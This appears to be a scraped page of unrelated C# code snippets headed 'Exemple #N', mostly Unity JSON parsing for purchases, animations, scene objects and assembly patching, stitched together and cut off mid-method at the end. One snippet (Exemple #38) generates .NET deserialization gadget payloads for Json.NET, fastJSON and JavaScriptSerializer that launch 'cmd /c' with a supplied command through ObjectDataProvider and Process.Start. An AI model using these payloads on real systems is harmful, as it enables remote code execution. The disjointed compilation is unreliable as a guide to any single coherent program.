public static FieldInstruction ParseFromJSON(JSON.Object obj)
		{
			var instruction = new FieldInstruction();

			instruction.InstructionType = (EInstructionType)Enum.Parse(typeof(EInstructionType),
																	   obj["InstructionType"].Str,
																	   true);
			if (obj.ContainsKey("ValueSource")) {
				instruction.ValueSource = (EValueSource)Enum.Parse(typeof(EValueSource), obj["ValueSource"].Str, true);

				switch (instruction.ValueSource) {
					case EValueSource.StaticField:
					case EValueSource.TypeConstruction:
						throw new NotImplementedException(instruction.ValueSource.ToString() + " as ValueSource is not yet implemented.");

					case EValueSource.Custom:
						instruction.Value = obj.ContainsKey("Value") ? obj["Value"].value : null;
						break;

					case EValueSource.PreDefined:
						if (obj["Value"].Str == "%PatcherVersion%") {
							instruction.Value = MainClass.Version;
						}
						break;
				}
			}
			instruction.Public = obj.ContainsKey("Public") ? obj["Public"].Boolean : instruction.Public;
			instruction.Static = obj.ContainsKey("Static") ? obj["Static"].Boolean : instruction.Static;
			instruction.ReadOnly = obj.ContainsKey("ReadOnly") ? obj["ReadOnly"].Boolean : instruction.ReadOnly;
			instruction.Constant = obj.ContainsKey("Constant") ? obj["Constant"].Boolean : instruction.Constant;

			return instruction;
		}
Exemple #2
0
    private void MockMovement()
    {
        var list = new List<Dictionary<string, float[]>>();
        var initial = new Dictionary<string, float[]>();
        var final = new Dictionary<string, float[]>();
        var final2 = new Dictionary<string, float[]>();
        var final3 = new Dictionary<string, float[]>();
        initial.Add("leftArm",      new float[] { 0, 80, -105, 1 });
        initial.Add("leftForearm",  new float[] { 75, 0, 0, 1 });
        final.Add("leftHand",       new float[] { 0, 20, 0, 0.5f });
        final2.Add("leftHand",      new float[] { 0, -40, 0, 1 });
        final3.Add("leftHand",      new float[] { 0, 20, 0, 0.5f });
        initial.Add("rightArm",     new float[] { 0, 80, -105, 1 });
        initial.Add("rightForearm", new float[] { 75, 0, 0, 1 });
        final.Add("rightHand",      new float[] { 0, 20, 0, 0.5f });
        final2.Add("rightHand",     new float[] { 0, -40, 0, 1 });
        final3.Add("rightHand",     new float[] { 0, 20, 0, 0.5f });
        list.Add(initial);
        list.Add(final);
        list.Add(final2);
        list.Add(final3);
        avatarAnimation = new AvatarAnimation(list, 0.1f, "leftArmSide", true);

        SetCamera("chest");

        JSON json = new JSON();
        json["avatarAnimation"] = (JSON)avatarAnimation;

        Debug.Log(json.serialized);

        RestartAnimation();

        state = State.ANIMATING;
    }
Exemple #3
0
 public static AvatarAnimation[] Array(JSON[] array)
 {
     List<AvatarAnimation> tc = new List<AvatarAnimation>();
     for (int i = 0; i < array.Length; i++)
         tc.Add((AvatarAnimation)array[i]);
     return tc.ToArray();
 }
 public Inventory(string json)
 {
     var j = new JSON(json);
     foreach (var entry in (List<object>) j.fields["purchaseMap"])
     {
         List<object> pair = (List<object>) entry;
     #if UNITY_IOS
         string key = OpenIAB_iOS.StoreSku2Sku(pair[0].ToString());
     #else
         string key = pair[0].ToString();
     #endif
         Purchase value = new Purchase(pair[1].ToString());
         _purchaseMap.Add(key, value);
     }
     foreach (var entry in (List<object>) j.fields["skuMap"])
     {
         List<object> pair = (List<object>) entry;
     #if UNITY_IOS
         string key = OpenIAB_iOS.StoreSku2Sku(pair[0].ToString());
         SkuDetails value = new SkuDetails((JSON) pair[1]);
     #else
         string key = pair[0].ToString();
         SkuDetails value = new SkuDetails(pair[1].ToString());
     #endif
         _skuMap.Add(key, value);
     }
 }
		public static AssemblyPatch ParseFromJSON(JSON.Object obj)
		{
			var patch = new AssemblyPatch();

			patch.TargetAssembly = Reflection.AssemblyPatcher.GetPatcher(obj["TargetAssembly"].Str);

			patch.FileName = obj["TargetAssembly"].Str;

			if (obj.ContainsKey("Instructions")) {
				foreach (var inst in obj["Instructions"].Array) {
					var instruction = (AssemblyInstruction)AssemblyInstruction.ParseFromJSON(inst.Obj);

					if (instruction.InstructionType == AssemblyInstruction.EInstructionType.CreateType) {
						MainClass.LogLine("-> Creating type: " + instruction.Name);
						patch.TargetAssembly.CreateType(instruction.Name);
					}

					patch.Instructions.Add(instruction);
				}
			}

			foreach (var typ in obj["Types"].Obj) {
				var typePatch = TypePatch.ParseFromJSON(typ.Value.Obj, typ.Key, patch.TargetAssembly);
				patch.Patches.Add(typePatch);
			}
			return patch;
		}
Exemple #6
0
		new internal static BasePatch ParseFromJSON(JSON.Object obj, params object[] args)
		{
			var targetType = args[0] as Reflection.TypePatcher;

			var patch = new MethodPatch();

			if (obj.ContainsKey("TargetMethodSigniture"))
				patch.TargetMethod = targetType.GetMethod(obj["TargetMethod"].Str, obj["TargetMethodSigniture"].Str);
			else
				patch.TargetMethod = targetType.GetMethod(obj["TargetMethod"].Str);

			MainClass.LogLine(" + " + patch.TargetMethod.methodDefinition.GetSigniture());

			foreach (JSON.Value instru in obj["Instructions"].Array) {
				var instrupatch = MethodInstruction.ParseFromJSON(instru.Obj, patch);

				switch (instrupatch.OperandType) {
					case EOperandType.Instruction:
						instrupatch.Operand = patch.TargetMethod.IlProc.Body.Instructions[instrupatch.ParamOrVarOffset];
						break;
					case EOperandType.Variable:
						instrupatch.Operand = patch.TargetMethod.IlProc.Body.Variables[instrupatch.ParamOrVarOffset];
						break;
					case EOperandType.Parameter:
						instrupatch.Operand = patch.TargetMethod.IlProc.Body.Method.Parameters[instrupatch.ParamOrVarOffset];
						break;
				}

				patch.Instructions.Add(instrupatch);
			}

			return patch;
		}
    protected override JSON ToJSON()
    {
        JSON js = new JSON();
        js["Type"] = "TurnInContract";

        return js;
    }
        public Inventory(string json)
        {
            var j = new JSON(json);
            foreach (var entry in (List<object>) j.fields["purchaseMap"])
            {
                List<object> pair = (List<object>) entry;
#if UNITY_IOS
				string key = OpenIAB_iOS.StoreSku2Sku(pair[0].ToString());
				// TODO: use same cotr on all platforms. Test why it works on Android json
                Purchase value = new Purchase((JSON) pair[1]);
#else
                string key = pair[0].ToString();
                Purchase value = new Purchase(pair[1].ToString());
#endif
                _purchaseMap.Add(key, value);
            }
            foreach (var entry in (List<object>) j.fields["skuMap"])
            {
                List<object> pair = (List<object>) entry;
#if UNITY_IOS
				string key = OpenIAB_iOS.StoreSku2Sku(pair[0].ToString());
                SkuDetails value = new SkuDetails((JSON) pair[1]);
#else
                string key = pair[0].ToString();
                SkuDetails value = new SkuDetails(pair[1].ToString());
#endif
                _skuMap.Add(key, value);
            }
        }
Exemple #9
0
 public static IEnumerator RegisterByName(string name, string password, CrownCallbackJSON callback = null)
 {
     JSON parameters = new JSON();
     parameters.AddField("name", name);
     parameters.AddField("password", password);
     yield return instance.StartCoroutine(Crown.Request("registerByName", parameters, callback, OnLoginByName));
 }
    protected override JSON ToJSON()
    {
        JSON js = new JSON();
        js["Type"] = "EscortCargo";
        js["CargoShipCount"] = CargoShipCount;

        return js;
    }
Exemple #11
0
 // Callback
 static void OnGetItems(JSON result)
 {
     try
     {
         Crown.print(result.str);
     }
     catch { }
 }
Exemple #12
0
 public void Animate(Call call, Response response, CallContext context)
 {
     JSON js = new JSON();
     js.serialized = call.GetParameterString("animation");
     lock (queueLock) {
         callQueue.Enqueue(new GuideCall(AvatarGuide.State.ANIMATING, (AvatarAnimation)js.ToJSON("avatarAnimation")));
     }
 }
 public static void DeserializeSceneObjects(JSON objects)
 {
     foreach (JSON j in objects) {
         string name = j["name"].str();
         Vector3 pos =  j["position"].vec3();
         GameObject go = (GameObject)GameObject.Instantiate(ObjectDatabaseManager.getObject(name), pos, Quaternion.identity);
         go.name = name;
     }
 }
Exemple #14
0
 public SkuDetails(string json)
 {
     var j = new JSON(json);
     ItemType = j.ToString("itemType");
     Sku = j.ToString("sku");
     Type = j.ToString("type");
     Price = j.ToString("price");
     Title = j.ToString("title");
     Description = j.ToString("description");
     Json = j.ToString("json");
 }
Exemple #15
0
    GameObject CreateParent(string name, string json)
    {
        GameObject parent = new GameObject (name);

        JSON js = new JSON ();
        js.serialized = json;

        AssignTransform (parent.transform, js);

        return parent;
    }
        public SkuDetails(JSON json) {
            ItemType = json.ToString("itemType");
            Sku = json.ToString("sku");
            Type = json.ToString("type");
            Price = json.ToString("price");
            Title = json.ToString("title");
            Description = json.ToString("description");
            Json = json.ToString("json");

            Sku = OpenIAB_iOS.StoreSku2Sku(Sku);
        }
Exemple #17
0
		private void ParseFromJson() {
			if (string.IsNullOrEmpty(Json)) return;
			var json = new JSON(Json);
			if (string.IsNullOrEmpty(PriceValue)) {
				float val = json.ToFloat("price_amount_micros");
				val /= 1000000;
				PriceValue = val.ToString();
			}
			if (string.IsNullOrEmpty(CurrencyCode))
				CurrencyCode = json.ToString("price_currency_code");
		}
Exemple #18
0
    void CreateLight(string json)
    {
        Transform dlight = (Transform) Instantiate (lightPrefab);
        dlight.name = "Directional light";

        JSON js = new JSON ();
        js.serialized = json;

        AssignTransform (dlight, js);
        dlight.light.intensity = js.ToFloat ("Intensity");
    }
Exemple #19
0
    void CreateMapLogic(string json)
    {
        Transform logic = (Transform) Instantiate (logicPrefab);
        logic.name = "MapLogic";

        JSON js = new JSON ();
        js.serialized = json;

        AssignTransform (logic, js);
        GeneralMapLogic.credits = js.ToInt ("Credits");
    }
		new internal static BaseInstruction ParseFromJSON(JSON.Object obj, params object[] nothing)
		{
			var instruction = new AssemblyInstruction();

			instruction.InstructionType = (EInstructionType)Enum.Parse(typeof(EInstructionType),
																	   obj["InstructionType"].Str,
																	   true);
			instruction.Name = obj["Name"].Str;

			return instruction;
		}
Exemple #21
0
        internal void SendMessage(JSON.Message msg)
        {
            Contract.Requires(connection.Ready);
            Contract.Requires(msg != null);

            Log.WriteInfo(Log.Verbosity.Detail, "Serializing to jsonTree ..");
            var metaMsg = new JSON.MetaMessage(msg);
            var jobj = KhazJson.JSON.Serialize(metaMsg);
            Log.WriteInfo(Log.Verbosity.Detail, "Serializing successful. Sending json-string..");
            connection.Send(jobj.ParseToString());
        }
Exemple #22
0
	public JSON(JSON.Type t) {
		type = t;
		switch(t) {
		case Type.ARRAY:
			list = new ArrayList();
			break;
		case Type.OBJECT:
			list = new ArrayList();
			keys = new ArrayList();
			break;
		}
	}
Exemple #23
0
 // Callback
 static void OnLoginByName(JSON result)
 {
     try
     {
         Crown.instance.userId = result.GetField("userId").str;
         Crown.instance.userKey = result.GetField("userKey").str;
         Crown.instance.userSpot = result.GetField("spot").str;
     }
     catch
     {
         Crown.Error("Login error, data not found");
     }
 }
Exemple #24
0
    void CreateCore(string json)
    {
        Transform core = (Transform) Instantiate (corePrefab);
        core.name = "Core";

        JSON js = new JSON ();
        js.serialized = json;

        AssignTransform (core, js);

        CoreLife script = core.GetComponent<CoreLife> ();
        script.life = js.ToInt ("Life");
    }
Exemple #25
0
		// Used for Android
        public SkuDetails(string jsonString) {
			var json = new JSON(jsonString);
			ItemType = json.ToString("itemType");
			Sku = json.ToString("sku");
			Type = json.ToString("type");
			Price = json.ToString("price");
			Title = json.ToString("title");
			Description = json.ToString("description");
			Json = json.ToString("json");
			CurrencyCode = json.ToString("currencyCode");
			PriceValue = json.ToString("priceValue");
			ParseFromJson();
        }
Exemple #26
0
        public Purchase(string jsonString) {
			var json = new JSON(jsonString);
			ItemType = json.ToString("itemType");
			OrderId = json.ToString("orderId");
			PackageName = json.ToString("packageName");
			Sku = json.ToString("sku");
			PurchaseTime = json.ToLong("purchaseTime");
			PurchaseState = json.ToInt("purchaseState");
			DeveloperPayload = json.ToString("developerPayload");
			Token = json.ToString("token");
			OriginalJson = json.ToString("originalJson");
			Signature = json.ToString("signature");
			AppstoreName = json.ToString("appstoreName");
        }
 public static JSON SerializeSceneObjects(bool die)
 {
     GameObject[] save = GameObject.FindGameObjectsWithTag("Editor");
     JSON objects = new JSON();
     foreach (GameObject go in save) {
         JSON obj = new JSON();
         obj["name"].str(go.name);
         obj["position"].vec3(go.transform.position);
         objects.Append(obj);
         if(die) {
             GameObject.Destroy(go);
         }
     }
     return objects;
 }
Exemple #28
0
        public Purchase(JSON json) {
            ItemType = json.ToString("itemType");
            OrderId = json.ToString("orderId");
            PackageName = json.ToString("packageName");
            Sku = json.ToString("sku");
            PurchaseTime = json.ToLong("purchaseTime");
            PurchaseState = json.ToInt("purchaseState");
            DeveloperPayload = json.ToString("developerPayload");
            Token = json.ToString("token");
            OriginalJson = json.ToString("originalJson");
            Signature = json.ToString("signature");
            AppstoreName = json.ToString("appstoreName");

			Sku = OpenIAB_iOS.StoreSku2Sku(Sku);
        }
Exemple #29
0
		new internal static FieldPatch ParseFromJSON(JSON.Object obj, params object[] args)
		{
			var targetType = args[0] as Reflection.TypePatcher;

			var patch = new FieldPatch();

			patch.TargetField = targetType.GetField(obj["TargetField"].Str);

			foreach (JSON.Value instru in obj["Instructions"].Array) {
				var instruction = FieldInstruction.ParseFromJSON(instru.Obj);
				patch.Instructions.Add(instruction);
			}

			return patch;
		}
    public static JSON LoadJSONFromFile(string filepath)
    {
        string contractsContent = "{}";

        try
        {
            contractsContent = File.ReadAllText(filepath);
        }
        catch (FileNotFoundException e) { Debug.Log("Exception: " + e.Message + " " + "Creating new JSON"); }

        JSON js = new JSON();
        js.serialized = contractsContent;

        return js;
    }
Exemple #31
0
        public static IEnumerator GetHashtag(string hashtag, string num, string consumerKey, string consumerSecret, AccessTokenResponse response, HashTagSearchCallback callback)
        {
            {
                string url = "https://api.twitter.com/1.1/search/tweets.json";


                Dictionary <string, string> parameters = new Dictionary <string, string>();

                parameters.Add("count", num);
                parameters.Add("q", hashtag);

                string appendURL = "";
                for (int i = 0; i < parameters.Count; i++)
                {
                    if (!parameters.Keys.ElementAt(i).Contains("q"))
                    {
                        string pre = "";
                        if (i > 0)
                        {
                            pre = "";
                        }

                        appendURL = appendURL + pre + parameters.Keys.ElementAt(i) + "=" + parameters.Values.ElementAt(i) + "&";
                    }
                }

                // HTTP header
                Dictionary <string, string> headers = new Dictionary <string, string>();
                headers["Authorization"] = GetHeaderWithAccessToken("GET", url, consumerKey, consumerSecret, response, parameters);

                string query = WWW.EscapeURL(parameters["q"]);

                url = "https://api.twitter.com/1.1/search/tweets.json?" + appendURL + "q=" + query;

                Debug.Log("Url posted to web is " + url);
                PlayerPrefs.SetString("DeletePrefab", "YES");
                WWW web = new WWW(url, null, headers);
                yield return(web);

                if (!string.IsNullOrEmpty(web.error))
                {
                    Debug.Log(string.Format("GetTimeline1 - web error - failed. {0}\n{1}", web.error, web.text));
                    callback(false);
                }
                else
                {
                    string error = Regex.Match(web.text, @"<error>([^&]+)</error>").Groups[1].Value;

                    if (!string.IsNullOrEmpty(error))
                    {
                        Debug.Log(string.Format("GetTimeline - bad response - failed. {0}", error));
                        callback(false);
                    }
                    else
                    {
                        callback(true);
                    }
                }
                Debug.Log("GetTimeline - " + web.text);
                PlayerPrefs.SetString("DeletePrefab", "NO");


                var tweets = JSON.Parse(web.text);

                Debug.Log("# of Tweets: " + tweets["statuses"].Count);
                for (int i = 0; i < tweets["statuses"].Count; i++)
                {
                    Debug.Log("Tweet # " + i + tweets["statuses"][i]["text"]);
                    GameObject NewText = GameObject.Instantiate(DemoClass.Instance.TextToInstantiate);
                    Text       TEXT    = NewText.GetComponent <Text> ();
                    TEXT.text = "Tweet # " + i + " " + tweets ["statuses"] [i] ["text"];
                    NewText.transform.SetParent(DemoClass.Instance.ContentParent.transform);
                    NewText.transform.localScale = Vector3.one;
                }
            }
        }
Exemple #32
0
 IEnumerator WebsocketClient()
 {
     // Instantiate a websocket
     this.gameObject.AddComponent <WClient>();
     // Set up listeners
     WClient.On(WClient.EventType.CONNECTED_TO_WS.ToString(), (string arg0) => {
         WClient.Emit(WClient.EventType.KEY.ToString(), APIKey);
     });
     WClient.On(WClient.EventType.CONNECTION_LOST.ToString(), (string arg0) => {
     });
     WClient.On(WClient.EventType.ADD_ENTRY.ToString(), (string message) => {
         // Parse new entry
         Entry entry = ParseEntry(JSON.Parse(message));
         // Download and instantiate content
         DownloadEntryAssets(entry, serverURL);
     });
     WClient.On(WClient.EventType.DELETE_ENTRY.ToString(), (string message) => {
         // Parse data
         string[] messageArray          = message.Split('|');
         string eventType               = messageArray[0];
         string entryID                 = messageArray[1];
         GameObject gameObjectToDestroy = null;
         // Find entry and destroy content
         foreach (CustomBehaviour cb in FindObjectsOfType <CustomBehaviour>())
         {
             if (cb.entry.getId().Equals(entryID))
             {
                 // Remove entry
                 dbObject.getEntries().Remove(cb.entry);
                 // Destroy game object
                 gameObjectToDestroy = cb.gameObject;
                 break;
             }
         }
         if (gameObjectToDestroy != null)
         {
             Destroy(gameObjectToDestroy);
         }
     });
     WClient.On(WClient.EventType.DATA_POST_ALL.ToString(), (string message) => {
         // Parse data
         string[] messageArray = message.Split('|');
         string eventType      = messageArray[0];
         string dataKey        = messageArray[1];
         string dataValue      = messageArray[2];
         // Find entry
         foreach (Entry entry in dbObject.getEntries())
         {
             // Update or add key
             entry.removeAdditionalData(dataKey);
             entry.addAdditionalData(dataKey, dataValue);
         }
     });
     WClient.On(WClient.EventType.DATA_POST_ENTRY.ToString(), (string message) => {
         // Parse data
         string[] messageArray = message.Split('|');
         string eventType      = messageArray[0];
         string entryID        = messageArray[1];
         string dataKey        = messageArray[2];
         string dataValue      = messageArray[3];
         // Find entry
         foreach (Entry entry in dbObject.getEntries())
         {
             if (entry.getId().Equals(entryID))
             {
                 // Update key
                 entry.removeAdditionalData(dataKey);
                 entry.addAdditionalData(dataKey, dataValue);
                 break;
             }
         }
     });
     WClient.On(WClient.EventType.DATA_REMOVE_ALL.ToString(), (string message) => {
         // Parse data
         string[] messageArray = message.Split('|');
         string eventType      = messageArray[0];
         string dataKey        = messageArray[1];
         // Find entry
         foreach (Entry entry in dbObject.getEntries())
         {
             // Remove key
             entry.removeAdditionalData(dataKey);
         }
     });
     WClient.On(WClient.EventType.DATA_REMOVE_ENTRY.ToString(), (string message) => {
         // Parse data
         string[] messageArray = message.Split('|');
         string eventType      = messageArray[0];
         string entryID        = messageArray[1];
         string dataKey        = messageArray[2];
         // Find entry
         foreach (Entry entry in dbObject.getEntries())
         {
             if (entry.getId().Equals(entryID))
             {
                 // Remove key
                 entry.removeAdditionalData(dataKey);
                 break;
             }
         }
     });
     WClient.On(WClient.EventType.SESSION_INFO.ToString(), (string session) => {
         Debug.Log("Session is: " + session);
     });
     yield return(null);
 }
Exemple #33
0
        public dynamic CreateFile(string accessToken, string shareName, string fileName)
        {
            var uri = GetUri($"/1/files/{shareName}/create?accesstoken={accessToken}");

            return(JSON.FromUriPost(uri, "filename", fileName));
        }
Exemple #34
0
 private static void RewriteConfig(string modname)
 {
     JSON.Serialize(Helpers.Utilities.MultiCombine(NewColonyAPIEntry.GameSaveFolder, ServerManager.WorldName, "configs", modname + ".json"), configsetings[modname], 99);
 }
Exemple #35
0
    /* Return the number of zones per level */
    private int zonesInThisLevel(int level_id)
    {
        var logic = JSON.Parse(jsonString);

        return(logic[level_id.ToString()].AsObject.Count - 1); //-1 to account for level_name
    }
Exemple #36
0
 private List <PagerDutyPerson> GetOnCallUsers()
 {
     return(GetFromPagerDuty("users/on_call?include[]=contact_methods", getFromJson:
                             response => JSON.Deserialize <PagerDutyUserResponse>(response.ToString(), JilOptions).Users));
 }
Exemple #37
0
        public void OnSocketMessage(JSONObject message)
        {
//            Debug.Log("Network.onSocketMessage\n\nmessage: " + Service.PrettyJson(message));
            var res = new AsyncResponse(message, this);
            Action <JSONObject> onResult = null;

            try
            {
                var    type            = message["type"].AsInt;
                string senderMessageId = null;

                if (message.HasKeyNotNull("senderMessageId"))
                {
                    senderMessageId = message["senderMessageId"].ToString();
                }

                switch (type)
                {
                case 1:

                    if (message.HasKeyNotNull("senderName") &&
                        message["senderName"].ToString().Equals(_chatServerName))
                    {
                        Debug.LogError("fireEvents with AsyncResponse not implemented yet");
                        FireEvents("message", message, res);
                    }
                    else
                    {
                        ActivePeerInGameCenter();
                    }

                    break;

                case 2:
                    string content = message["content"];
                    HandleDeviceRegisterMessage(long.Parse(content));
                    break;

                case 3:
                    if (senderMessageId != null)
                    {
                        onResult = _ackCallback[senderMessageId];
                    }

                    if (senderMessageId != null && onResult != null)
                    {
                        onResult(JSON.Parse(message["content"].ToString()).AsObject);
                        _ackCallback.Remove(senderMessageId);
                    }
                    else
                    {
                        FireEvents("message", message);
                    }

                    break;

                case 4:
                case 5:
                    //Debug.LogError("fireEvents with AsyncResponse not implemented yet");
                    FireEvents("message", message, res);
                    break;


                case 6:

                    if (senderMessageId != null)
                    {
                        onResult = _ackCallback[senderMessageId];
                        if (onResult != null)
                        {
                            onResult(Util.CreateReturnData(false, "", 0, new JSONObject()));
                            _ackCallback.Remove(senderMessageId);
                        }
                    }

                    break;
                }
            }
            catch (Exception e)
            {
                Debug.LogError("Exception: " + e.Message);
                //throw new ServiceException(e);
            }
        }
Exemple #38
0
        public override object Generate(string cmd, string formatter, Boolean test)
        {
            if (formatter.ToLower().Equals("json.net"))
            {
                String payload = @"{
    '$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35', 
    'MethodName':'Start',
    'MethodParameters':{
        '$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
        '$values':['cmd','/c " + cmd + @"']
    },
    'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
}";
                if (test)
                {
                    try
                    {
                        Object obj = JsonConvert.DeserializeObject <Object>(payload, new JsonSerializerSettings
                        {
                            TypeNameHandling = TypeNameHandling.Auto
                        });;
                    }
                    catch
                    {
                    }
                }
                return(payload);
            }
            else if (formatter.ToLower().Equals("fastjson"))
            {
                String payload = @"{
    ""$types"":{
        ""System.Windows.Data.ObjectDataProvider, PresentationFramework, Version = 4.0.0.0, Culture = neutral, PublicKeyToken = 31bf3856ad364e35"":""1"",
        ""System.Diagnostics.Process, System, Version = 4.0.0.0, Culture = neutral, PublicKeyToken = b77a5c561934e089"":""2"",
        ""System.Diagnostics.ProcessStartInfo, System, Version = 4.0.0.0, Culture = neutral, PublicKeyToken = b77a5c561934e089"":""3""
    },
    ""$type"":""1"",
    ""ObjectInstance"":{
        ""$type"":""2"",
        ""StartInfo"":{
            ""$type"":""3"",
            ""FileName"":""cmd"",
            ""Arguments"":""/c " + cmd + @"""
        }
    },
    ""MethodName"":""Start""
}";
                if (test)
                {
                    try
                    {
                        var instance = JSON.ToObject <Object>(payload);
                    }
                    catch
                    {
                    }
                }
                return(payload);
            }
            else if (formatter.ToLower().Equals("javascriptserializer"))
            {
                String payload = @"{
    '__type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35', 
    'MethodName':'Start',
    'ObjectInstance':{
        '__type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
        'StartInfo': {
            '__type':'System.Diagnostics.ProcessStartInfo, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
            'FileName':'cmd',
            'Arguments':'/c " + cmd + @"'
        }
    }
}";
                if (test)
                {
                    try
                    {
                        JavaScriptSerializer jss = new JavaScriptSerializer(new SimpleTypeResolver());
                        var json_req             = jss.Deserialize <Object>(payload);
                    }
                    catch
                    {
                    }
                }
                return(payload);
            }
            else
            {
                throw new Exception("Formatter not supported");
            }
        }
Exemple #39
0
 public void soteia(bool a)
 {
     GetComponent <sorteiomanager>().startJackpotvoid(JSON.Parse(lastFetch), a);
 }
Exemple #40
0
        override public void Serialize(ref JSON nodeJS)
        {
            base.Serialize(ref nodeJS);

            nodeJS["nodeType"] = nodeType.ToString();
        }
        /// <summary>
        /// Loads the translator with the data holded inside its DataFile.
        /// </summary>
        public void LoadData()
        {
            //languages = new Dictionary<LocalizationLanguage, LocalizationData>();

            TextAsset localizationData = dataFile;

            if ((object)localizationData == null)  //System.IO.File.Exists(levelPath))
            {
                Debug.LogError(@"I/O ERROR: Couldn't  load the data file for """ + language.ToString() + @""". Is the field assigned?");
                //string level_text = System.IO.File.ReadAllText(levelPath);
                return;
            }

            string localizationText = localizationData.text;

            Debug.Log(@"Loading the data file for """ + language.ToString() + @"""");

            var rawLanguageData = JSON.Parse(localizationText);

            if ((object)rawLanguageData == null)
            {
                Debug.LogWarning("JSON is empty");
                return;
            }

            //Not used in the code yet. Commented to avoid warnings.
            string name = rawLanguageData["NAME"].Value;
            string id   = rawLanguageData["ID"].Value;

            //string scriptType = rawLanguageData["SCRIPT"].Value;
            //The writing system is defined on the Inspector, but it could
            //be read from the data file and determined using this code.

            /*if (scriptType == "RTL")
             *  writingSystem = WritingSystem.RTL;
             * else
             *  writingSystem = WritingSystem.LTR;*/


            //TODO: Check if the id key exists
            //LocalizationLanguage newLanguageID = languagesIDTable[id.ToUpper()];
            //LocalizationData newData = new LocalizationData(newLanguageID, null, null); //id

            var data = rawLanguageData["DATA"];

            for (int i = 0; i < data.Count; i++)
            {
                var    dataValue   = data[i];
                string keyword     = dataValue[0].Value;
                string translation = dataValue[1].Value;

                if (writingSystem == WritingSystem.RTL)
                {
                    translation.Reverse();
                }

                //TODO: Check if the type key exists
                AddData(LocalizationManager.Instance.GetDataType(keyword), translation);
            }

            //languages.Add(newLanguageID, newData);
        }
Exemple #42
0
        public static IEnumerator DownloadAvatarCoroutine(string hash)
        {
            queuedAvatars.Add(hash);
            string          downloadUrl = "";
            string          avatarName  = "";
            UnityWebRequest www         = UnityWebRequest.Get("https://modelsaber.com/api/v1/avatar/get.php?filter=hash:" + hash);

            www.timeout = 10;

            yield return(www.SendWebRequest());

            if (www.isNetworkError || www.isHttpError)
            {
                Logger.Error(www.error);
                queuedAvatars.Remove(hash);
                yield break;
            }
            else
            {
#if DEBUG
                Logger.Info("Received response from ModelSaber...");
#endif
                JSONNode node = JSON.Parse(www.downloadHandler.text);

                if (node.Count == 0)
                {
                    Logger.Error($"Avatar with hash {hash} doesn't exist on ModelSaber!");
                    cachedAvatars.Add(hash, null);
                    queuedAvatars.Remove(hash);
                    yield break;
                }

                downloadUrl = node[0]["download"].Value;
                avatarName  = downloadUrl.Substring(downloadUrl.LastIndexOf("/") + 1);
            }

            if (string.IsNullOrEmpty(downloadUrl))
            {
                queuedAvatars.Remove(hash);
                yield break;
            }


            bool  timeout = false;
            float time    = 0f;
            UnityWebRequestAsyncOperation asyncRequest;

            try
            {
                www         = UnityWebRequest.Get(downloadUrl);
                www.timeout = 0;

                asyncRequest = www.SendWebRequest();
            }
            catch (Exception e)
            {
                Logger.Error(e);
                queuedAvatars.Remove(hash);
                yield break;
            }

            while (!asyncRequest.isDone)
            {
                yield return(null);

                time += Time.deltaTime;

                if ((time >= 5f && asyncRequest.progress <= float.Epsilon))
                {
                    www.Abort();
                    timeout = true;
                    Logger.Error("Connection timed out!");
                }
            }


            if (www.isNetworkError || www.isHttpError || timeout)
            {
                queuedAvatars.Remove(hash);
                Logger.Error("Unable to download avatar! " + (www.isNetworkError ? $"Network error: {www.error}" : (www.isHttpError ? $"HTTP error: {www.error}" : "Unknown error")));
            }
            else
            {
#if DEBUG
                Logger.Info("Received response from ModelSaber...");
#endif
                string docPath          = "";
                string customAvatarPath = "";

                byte[] data = www.downloadHandler.data;

                try
                {
                    docPath          = Application.dataPath;
                    docPath          = docPath.Substring(0, docPath.Length - 5);
                    docPath          = docPath.Substring(0, docPath.LastIndexOf("/"));
                    customAvatarPath = docPath + "/CustomAvatars/" + avatarName;

                    File.WriteAllBytes(customAvatarPath, data);
                    Logger.Info($"Saving avatar to \"{customAvatarPath}\"...");

                    CustomAvatar.CustomAvatar downloadedAvatar = CustomExtensions.CreateInstance <CustomAvatar.CustomAvatar>(customAvatarPath);

                    Logger.Info("Downloaded avatar!");
                    Logger.Info($"Loading avatar...");

                    downloadedAvatar.Load(
                        (CustomAvatar.CustomAvatar avatar, CustomAvatar.AvatarLoadResult result) =>
                    {
                        if (result == CustomAvatar.AvatarLoadResult.Completed)
                        {
                            queuedAvatars.Remove(hash);
                            cachedAvatars.Add(hash, downloadedAvatar);
                            avatarDownloaded?.Invoke(hash);
                        }
                        else
                        {
                            Logger.Error("Unable to load avatar! " + result.ToString());
                        }
                    });
                }
                catch (Exception e)
                {
                    Logger.Exception(e);
                    queuedAvatars.Remove(hash);
                    yield break;
                }
            }
        }
Exemple #43
0
        /// <summary>
        /// 保存餐桌信息
        /// </summary>
        /// <param name="context"></param>
        public void SaveTableInfo(HttpContext context)
        {
            var data = JSON.Decode(context.Request["data"]);

            if (data is Hashtable)
            {
                Hashtable i         = (Hashtable)data;
                TableInfo tableInfo = new TableInfo();
                string    status    = null;
                tableInfo.TableNo = (string)i["TableNo"];
                if (Convert.ToInt32(i["HoldNum"]) == 1)
                {
                    tableInfo.HoldNum = 2;
                }
                else if (Convert.ToInt32(i["HoldNum"]) == 2)
                {
                    tableInfo.HoldNum = 4;
                }
                else if (Convert.ToInt32(i["HoldNum"]) == 3)
                {
                    tableInfo.HoldNum = 6;
                }
                tableInfo.IsUse = Convert.ToInt32(i["IsUse"]);
                tableInfo.Notes = (string)i["Notes"];
                status          = (string)i["Status"];

                bool r = tableInfoBLL.SaveTableInfo(tableInfo, status);
                if (r)
                {
                    String json = JSON.Encode("保存成功!");
                    context.Response.Write(json);
                }
                else
                {
                    String json = JSON.Encode("保存失败!");
                    context.Response.Write(json);
                }
            }
            else if (data is ArrayList)
            {
                ArrayList arryayList = (ArrayList)data;
                TableInfo tableInfo  = new TableInfo();
                string    status     = null;
                foreach (var item in arryayList)
                {
                    Hashtable hs = (Hashtable)item;
                    tableInfo.TableNo = (string)hs["TableNo"];
                    if (Convert.ToInt32(hs["HoldNum"]) == 1)
                    {
